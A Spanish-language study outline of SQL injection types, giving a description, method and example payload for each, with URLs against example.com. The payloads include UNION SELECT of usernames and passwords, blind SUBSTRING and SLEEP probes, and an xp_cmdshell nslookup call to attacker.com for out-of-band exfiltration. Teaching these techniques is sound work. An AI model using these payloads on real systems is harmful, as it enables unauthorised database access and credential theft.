# Esquema SQL injection (SQLi)

<figure><img src="https://3392123583-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FF3lO603vs49iK8czzdpG%2Fuploads%2FxFmRUnQMUpTgbLWZQqRN%2Fsql-injection.svg?alt=media&#x26;token=3b0cf61a-8a09-4ca8-bb89-6c8eb51143b1" alt=""><figcaption></figcaption></figure>

## **1. Inyección SQL Clásica (In-Band SQLi)**

### **1.1. Error-Based SQLi**

* **Descripción**: Utiliza errores de la base de datos para extraer información.
* **Método**: Introducción de sintaxis incorrecta o comandos que generan mensajes de error detallados.
* **Ejemplo**: `http://example.com/index.php?id=1'`

### **1.2. Union-Based SQLi**

* **Descripción**: Utiliza la cláusula `UNION` para combinar resultados de múltiples consultas.
* **Método**: Construcción de una consulta `UNION SELECT` para extraer datos adicionales.
* **Ejemplo**: `http://example.com/index.php?id=1 UNION SELECT username, password FROM users--`

## **2. Inyección SQL Inferencial (Blind SQLi)**

### 2.1. **Boolean-Based Blind SQLi**

* **Descripción**: Usa consultas que devuelven resultados booleanos (verdadero o falso) y observa las respuestas de la aplicación.
* **Método**: Introducción de consultas condicionales para evaluar las diferencias en las respuestas.
* **Ejemplo**: `http://example.com/index.php?id=1 AND 1=1--` (verdadero) vs. `http://example.com/index.php?id=1 AND 1=2--` (falso)

### **2.1.1. Conditional Response Blind SQLi**

* **Descripción**: Usa condiciones en la consulta para provocar cambios en la respuesta de la aplicación.
* **Método**: Condiciones que resultan en diferentes contenidos de página o redirecciones.
* **Ejemplo**: `http://example.com/index.php?id=1 AND SUBSTRING((SELECT username FROM users WHERE role='admin'), 1, 1)='a'--`

### **2.2. Time-Based Blind SQLi**

* **Descripción**: Usa consultas que provocan retrasos en las respuestas si una condición es verdadera.
* **Método**: Funciones como `SLEEP()` o `BENCHMARK()` para medir tiempos de respuesta.
* **Ejemplo**: `http://example.com/index.php?id=1; IF(1=1, SLEEP(5), 0)--`

### **2.3. Conditional Error Blind SQLi**

* **Descripción**: Usa condiciones en la consulta para provocar errores específicos que revelen información.
* **Método**: Introducción de condiciones que resulten en errores (por ejemplo, división por cero) si la condición es verdadera.
* **Ejemplo**: `http://example.com/index.php?id=1 AND (SELECT CASE WHEN SUBSTRING(username,1,1)='a' THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator') IS NOT NULL--`

## **3. Inyección SQL Basada en Fuera de Banda (Out-of-Band SQLi)**

* **Descripción**: Utiliza canales alternativos para extraer datos cuando las respuestas directas no están disponibles.
* **Método**: Envía consultas SQL que provocan solicitudes DNS o HTTP a un servidor controlado por el atacante.
* **Ejemplo**: `http://example.com/index.php?id=1; exec master..xp_cmdshell 'nslookup attacker.com'--`

## **4. Inyección SQL de Segundo Orden (Second-Order SQL Injection)**

* **Descripción**: Inserta un payload malicioso que se ejecuta más tarde cuando otra operación SQL accede a los datos.
* **Método**: Introducción de datos maliciosos en un formulario que luego son utilizados por otra parte del sistema.
* **Ejemplo**: Un atacante introduce un payload en el campo de registro de usuario, y luego ese payload se ejecuta cuando un administrador revisa los registros.

## **5. Inyección SQL Basada en Almacenamiento (Stored SQL Injection)**

* **Descripción**: Similar a la inyección de segundo orden, el atacante introduce código malicioso que se almacena en la base de datos y se ejecuta cuando la aplicación web recupera y procesa esos datos.
* **Método**: Se aprovecha de datos almacenados en la base de datos que se utilizan en consultas SQL.
* **Ejemplo**: Un mensaje de foro que incluye una carga maliciosa que se ejecuta cuando se muestra en una página.
